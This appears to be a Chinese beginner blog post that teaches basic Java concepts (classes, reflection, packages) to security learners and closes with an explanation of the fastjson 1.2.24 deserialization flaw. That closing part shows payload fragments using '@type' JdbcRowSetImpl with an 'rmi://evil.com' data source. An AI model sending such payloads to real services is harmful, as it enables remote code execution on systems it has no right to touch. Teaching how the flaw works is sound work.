java初阶-----网络安全入门必看篇

1、入门必看

1)适合对象:对于java啥都不懂,但是对网络安全有基础得人,有想大概理解java payload得需求者。

2)文章目标:看了之后能理解大佬java反序列化、fastjson、jndi、log4j、spring框架等漏洞的思路。

3)本文内容避免代码初阶知识,菜鸟教程都有,讲的都是网安需要用的。本人也是小白刚入门java,有错误还请大佬指正。

2、java基础知识

1)掌握IDEA基本操作-----之后复现可能要用

IDEA文件中,
.idea文件夹----别管
.mvn文件夹-----别管
.src文件夹-----之后主要在这里看
.target---------之后文件在这里输出,注意不要在这编辑文件哦,不能修改的,是输出成.class文件。
在这里插入图片描述

2)了解怎么使用java工具,不然给你工具都不会用哈哈哈 电脑命令行输入


电脑命令行输入

java -jar 你想用的工具名字

3)再教一下java基本的流程 1.java-------1.class才能用 IDEA要target要输出的是.class文件


1.java-------1.class才能用
IDEA要target要输出的是.class文件

4)面向对象编程----了解基础的java代码 简单讲讲 class 类------动物(记住class这个单词) 方法------------吃东西 对象---------猫(一般用new就行) 总之,记住,java代码中万物皆对象,基本要先new,(除非是反射) 一个简单的示例 这里我创建了一个类:hello 然后我new了一个对象


简单讲讲
class 类------动物(记住class这个单词)
方法------------吃东西
对象---------猫(一般用new就行)
总之,记住,java代码中万物皆对象,基本要先new,(除非是反射)
一个简单的示例
这里我创建了一个类:hello
然后我new了一个对象

import com.bbb.*;
public class hello {
    public static void main(String[] args) {
        Father father = new Father();
    }
}

这段目的:
只要你之后看到class明白,哦这是个类,
看到new,知道新建一个对象

因为我们是初学者,先了解再深入。

5)反射-----payload常规操作

在这里插入图片描述
这里我们只要知道,反射很牛逼,反射能突破先用类,再用方法的限制
另外还要知道一个单词,class-load类加载器,就是反射中加载类的意思

6)资源包------之后payload会有高频com.xxxx.xxx出现

com.bbb.*是资源包的意思,相当于插件,你用的话就要引用
这里看到com.xxxx.xx知道是啥软件包,就已经达到目的了。
在这里插入图片描述

实战1:fastjson 1.2.24 反序列化导致任意命令执行漏洞原理解析


1)fastjson是什么?
他是一个库。

2)fastjson的作用?
客户端—json编码–json解码----后端
fastjson负责json的编码和解码

3)什么是json数据呢?–这里截个图看看就行,不是重点
在这里插入图片描述

在这里插入图片描述
4)那为啥会有漏洞呢?
com.sun.rowset.JdbcRowSetImpl利用链
已知:java中,com是资源包的意思

通过@type后,引用这个资源包

可以实例化应用rmi方法的类

"@type":"com.sun.rowset.JdbcRowSetImpl"       
=
import com.sun.rowset.JdbcRowSetImpl;

"dataSourceName":"rmi://evil.com:9999/TouchFile",
=jdbcRowSet.setDataSourceName("rmi://evil.com:9999/aaa");

简单来说,通过@type调用软件包,然后再调用rmi远程访问

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值